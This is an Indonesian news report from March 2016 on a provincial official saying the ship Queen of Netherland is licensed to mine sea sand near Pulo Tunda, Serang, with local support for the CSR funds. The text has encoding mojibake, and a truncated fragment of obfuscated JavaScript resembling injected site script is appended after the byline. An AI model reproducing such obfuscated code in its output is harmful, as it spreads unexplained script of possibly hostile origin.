Serang- Kepala Dinas Pertambangan dan Energi Provinsi Banten, Eko Palmadi mengatakan, keberadaan Kapal Queen of Netherland di Perairan Pulo Tunda, Desa Wargasara, Kecamatan Tirtayasa, Kabupaten Serang, Banten telah mengantongi izin untuk melakukan penambangan pasir laut di perairan Pulo Tunda.
a�?Ya, Kapal Queen of Netherland telah memiliki izin untuk melakukan penambangan pasir laut di Perairan Pulau Tunda,a�? ujar Eko, Kamis, 17 Maret 2016.
Selain itu, perusahaan yang melakukan penambangan pasir laut adalah Koperasi Tirta Niaga Pantura. Koperasi Tirta Niaga Pantura menggunakan Kapal Queen of Netherland untuk melakukan penambangan pasir laut. a�?Yang melakukan penambangan pasir laut adalah Koperasi Tirta Niaga Pantura. Koperasi itu menggunakan Kapal Queen of Netherland untuk melakukan penambangan pasir laut,a�? kata Eko.
Sehingga keberadaan Kapal Queen of Netherland di Perairan Pulo Tunda adalah legal atau resmi. Sebelum melakukan uji coba penambangan pasir laut, pihak Koperasi Tirta Niaga Pantura memberitahu ke instansi terkait termasuk Dinas Pertambangan dan Energi Provinsi Banten. a�?Penambangan pasir laut yang dilakukan Koperasi Tirta Niaga Pantura itu legal atau resmi. Kami telah menerima surat pemberitahuan sebelumnya,a�? katanya.
Sementara itu, aktivitas penambangan pasir laut tersebut disambut baik oleh warga setempat karena perusahaan yang melakukan penambangan pasir memiliki komitmen untuk memberikan danaA� Corporate Social Responsibility (CSR) kepada warga setempat.A� a�?Kami mendukung adanya penambangan pasir laut. Karena penambangan pasir laut membantu perekonomian masyarakat,a�? ujar Kepala Desa Wargasara, Syamsul Bahri.
Menurut Syamsul,A� dengan adanya penambangan pasir laut yang dilakukan oleh Kapal Queen of Netherlands,A� masyarakat Pulau Tunda mendapat penghasilan tambahan melalui dana CSR. a�?Harapan kami, agar Koperasi Tirta Niaga Pantura tetap dan terus melakukan penambangan pasir laut di Perairan Pulo Tunda,a�? kata Syamsul.
Untuk diketahui, Kapal Queen of Netherland mulai memasuki Perairan Pulo Tunda sejak Jumat (4/3) lalu untuk melakukan uji coba penambangan pasir laut. (Acing/Rmd) _0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}













